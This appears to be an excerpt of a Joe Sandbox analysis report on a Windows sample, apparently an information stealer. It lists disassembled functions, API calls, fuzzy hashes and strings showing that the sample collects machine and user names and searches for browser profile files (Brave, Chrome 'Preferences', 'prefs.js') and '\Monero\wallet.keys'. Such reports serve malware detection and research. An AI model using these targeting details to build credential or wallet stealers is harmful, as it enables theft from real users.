Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 7e4ddbc9d7485411253c82c00c03b2ecab72a934f8fd49988cca621b80898392
Instruction ID: 97b28d0d4651b60d653c6bdf258d976a830955214d4fa9fcaa8aabc9e5e18714
Opcode Fuzzy Hash: 7e4ddbc9d7485411253c82c00c03b2ecab72a934f8fd49988cca621b80898392
Instruction Fuzzy Hash: 3EE0E67094534CFBE7206BA0EC0EB1D7678AF04B11F104155F709B71C4D6B526409799

Function 00FF10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00FF10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00FF10F7

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce154d0520cf518203f497f7a7440c3f33d639bee43a05f8e2f988510c093c5
Instruction ID: 96843f2df78184c9bf798675cf84cd25949a063d8099b428566c626083d6d9a6
Opcode Fuzzy Hash: 8ce154d0520cf518203f497f7a7440c3f33d639bee43a05f8e2f988510c093c5
Instruction Fuzzy Hash: CFF0E271A41208BBE7149AA8AC49FBEB7E8EB05B25F300858F644E3280D5719E00DBA0

Function 00FF1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 010078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007910
Part of subcall function 010078E0: RtlAllocateHeap.NTDLL(00000000), ref: 01007917
Part of subcall function 010078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0100792F

Part of subcall function 01007850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FF11B7), ref: 01007880
Part of subcall function 01007850: RtlAllocateHeap.NTDLL(00000000), ref: 01007887
Part of subcall function 01007850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0100789F

ExitProcess.KERNEL32 ref: 00FF11C6

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 492d305c61fb3e3f3ee1501e244a74e31a2dfbea1b1a11fdd1524e206dadd264
Instruction ID: dea045d9457159047499d63cb58712cc40283460114ada59487d56b6c6a83cfd
Opcode Fuzzy Hash: 492d305c61fb3e3f3ee1501e244a74e31a2dfbea1b1a11fdd1524e206dadd264
Instruction Fuzzy Hash: 6EE012B5D5030657EA1173B0BC09BAA329C6B25245F140434FA85D3581FA29FA009765

Non-executed Functions

Function 010038B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 010038CC
FindFirstFileA.KERNEL32(?,?), ref: 010038E3
lstrcat.KERNEL32(?,?), ref: 01003935
StrCmpCA.SHLWAPI(?,01010F70), ref: 01003947
StrCmpCA.SHLWAPI(?,01010F74), ref: 0100395D
FindNextFileA.KERNEL32(000000FF,?), ref: 01003C67
FindClose.KERNEL32(000000FF), ref: 01003C7C

Strings

%s\*, xrefs: 010038C0
%s\%s\%s, xrefs: 01003A4A
%s\%s, xrefs: 01003A6F
%s%s, xrefs: 01003AAD
%s\%s, xrefs: 0100397A

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 0bcaba4711a65c2ba9c7c8078ae86db1464b4aa81942999587f1b6544e1caef7
Instruction ID: 865b0d9273384744c9a4aabc7e369dbe5f9dc0e806c851d5714a07b7c3f52a41
Opcode Fuzzy Hash: 0bcaba4711a65c2ba9c7c8078ae86db1464b4aa81942999587f1b6544e1caef7
Instruction Fuzzy Hash: 3BA13071A002099FDB35DB64DC89FEE7378BB58300F04459CA68D9B185EB759B84CF61

Function 00FFBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

FindFirstFileA.KERNEL32(00000000,?,01010B32,01010B2B,00000000,?,?,?,010113F4,01010B2A), ref: 00FFBEF5
StrCmpCA.SHLWAPI(?,010113F8), ref: 00FFBF4D
StrCmpCA.SHLWAPI(?,010113FC), ref: 00FFBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00FFC7BF
FindClose.KERNEL32(000000FF), ref: 00FFC7D1

Strings

Brave, xrefs: 00FFC102
Google Chrome, xrefs: 00FFC634
Preferences, xrefs: 00FFC11E
\Brave\Preferences, xrefs: 00FFC1DB

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 8a1313ae208cc03a5d4c621b50d8a7807947976a5d5f0a042a931b49502bfc6c
Instruction ID: b986b683a9889833d809e8fa65ef46fa06c0675df4758e96f6153639bd372c9c
Opcode Fuzzy Hash: 8a1313ae208cc03a5d4c621b50d8a7807947976a5d5f0a042a931b49502bfc6c
Instruction Fuzzy Hash: A6425472A10209EBEB15FB70DD95EED733CAFA4300F408568A54A971D4EF349B49CBA1

Function 01004910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0100492C
FindFirstFileA.KERNEL32(?,?), ref: 01004943
StrCmpCA.SHLWAPI(?,01010FDC), ref: 01004971
StrCmpCA.SHLWAPI(?,01010FE0), ref: 01004987
FindNextFileA.KERNEL32(000000FF,?), ref: 01004B7D
FindClose.KERNEL32(000000FF), ref: 01004B92

Strings

%s\%s, xrefs: 010049A4
%s\*, xrefs: 01004920
%s\%s, xrefs: 010049FB

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: fc9c9f28eba5a79f4cd28ad091f198be6027ec1bd250b3b2c44949805b7ff68d
Instruction ID: a19e0117c5a6467e6c5291f9cc7de5a48653dd43449e89503b45514b8b9ecf96
Opcode Fuzzy Hash: fc9c9f28eba5a79f4cd28ad091f198be6027ec1bd250b3b2c44949805b7ff68d
Instruction Fuzzy Hash: D26188B1900219ABDB25EBA4EC49FEA737CBB48700F04459CB689D7044EB75D785CF90

Function 01004570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 01004580
RtlAllocateHeap.NTDLL(00000000), ref: 01004587
wsprintfA.USER32 ref: 010045A6
FindFirstFileA.KERNEL32(?,?), ref: 010045BD
StrCmpCA.SHLWAPI(?,01010FC4), ref: 010045EB
StrCmpCA.SHLWAPI(?,01010FC8), ref: 01004601
FindNextFileA.KERNEL32(000000FF,?), ref: 0100468B
FindClose.KERNEL32(000000FF), ref: 010046A0
lstrcat.KERNEL32(?,0198FAD8), ref: 010046C5
lstrcat.KERNEL32(?,0198E250), ref: 010046D8
lstrlen.KERNEL32(?), ref: 010046E5
lstrlen.KERNEL32(?), ref: 010046F6

Strings

%s\*, xrefs: 0100459A
%s\%s, xrefs: 0100461B

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: c0ae920899d1db42bd13edfbe319d40ca01cdf077c71b6881c879d814ae02af0
Instruction ID: 568e2c971a3a6accc242b22a0d5ee11f140a36f3f6ff3cba7ab551bdc67da353
Opcode Fuzzy Hash: c0ae920899d1db42bd13edfbe319d40ca01cdf077c71b6881c879d814ae02af0
Instruction Fuzzy Hash: 4C5162B1900218ABDB65EB70EC8DFED737CBB58300F404598E68AD7084EB759B848F91

Function 01003EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 01003EC3
FindFirstFileA.KERNEL32(?,?), ref: 01003EDA
StrCmpCA.SHLWAPI(?,01010FAC), ref: 01003F08
StrCmpCA.SHLWAPI(?,01010FB0), ref: 01003F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0100406C
FindClose.KERNEL32(000000FF), ref: 01004081

Strings

%s\%s, xrefs: 01003EB7

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 336a7438243b6f5847df180327c971a076038f3535799bf3452cd06f81c4603a
Instruction ID: 8b77e3c4e4cf9e723aa7d6fcdee63cf3077d2334bb0b1ddd00e01e38f3733ddc
Opcode Fuzzy Hash: 336a7438243b6f5847df180327c971a076038f3535799bf3452cd06f81c4603a
Instruction Fuzzy Hash: E85167B1900218ABDB25EBB4DC89EEA737CBB54300F04859CB699D7084DB75D7858F50

Function 00FFED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FFED3E
FindFirstFileA.KERNEL32(?,?), ref: 00FFED55
StrCmpCA.SHLWAPI(?,01011538), ref: 00FFEDAB
StrCmpCA.SHLWAPI(?,0101153C), ref: 00FFEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00FFF2AE
FindClose.KERNEL32(000000FF), ref: 00FFF2C3

Strings

%s\*.*, xrefs: 00FFED32

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 33fb9afe60cee01da021e0ac4212bd2da15942df4e19d7cec8e6d0fd305ec17f
Instruction ID: 0b031d417a133ed215ea3c26ed939dbb1970c5d0095409387083189c3a7eca4f
Opcode Fuzzy Hash: 33fb9afe60cee01da021e0ac4212bd2da15942df4e19d7cec8e6d0fd305ec17f
Instruction Fuzzy Hash: 11E1D272A11219DAFB56FB60DC55EEE7338AF64200F4041A9A54B670D1EF306F8ACF51

Function 00FFF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,010115B8,01010D96), ref: 00FFF71E
StrCmpCA.SHLWAPI(?,010115BC), ref: 00FFF76F
StrCmpCA.SHLWAPI(?,010115C0), ref: 00FFF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00FFFAB1
FindClose.KERNEL32(000000FF), ref: 00FFFAC3

Strings

prefs.js, xrefs: 00FFF812

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 1ab98a440018910aaf0ce50f53da212e13bde049524091c66002804fd23eee99
Instruction ID: f51c021c4a73e40c23303aeb57e936cf04f791b52331c2525a653885b5f3cec0
Opcode Fuzzy Hash: 1ab98a440018910aaf0ce50f53da212e13bde049524091c66002804fd23eee99
Instruction Fuzzy Hash: A3B13371A00209DBEB25FF60DC95FEE7379AF64300F4085A8958A97194EF346B49CF91

Function 00FF16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0101510C,?,?,?,010151B4,?,?,00000000,?,00000000), ref: 00FF1923
StrCmpCA.SHLWAPI(?,0101525C), ref: 00FF1973
StrCmpCA.SHLWAPI(?,01015304), ref: 00FF1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FF1D40
DeleteFileA.KERNEL32(00000000), ref: 00FF1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00FF1E20
FindClose.KERNEL32(000000FF), ref: 00FF1E32

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Strings

\*.*, xrefs: 00FF17F1

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
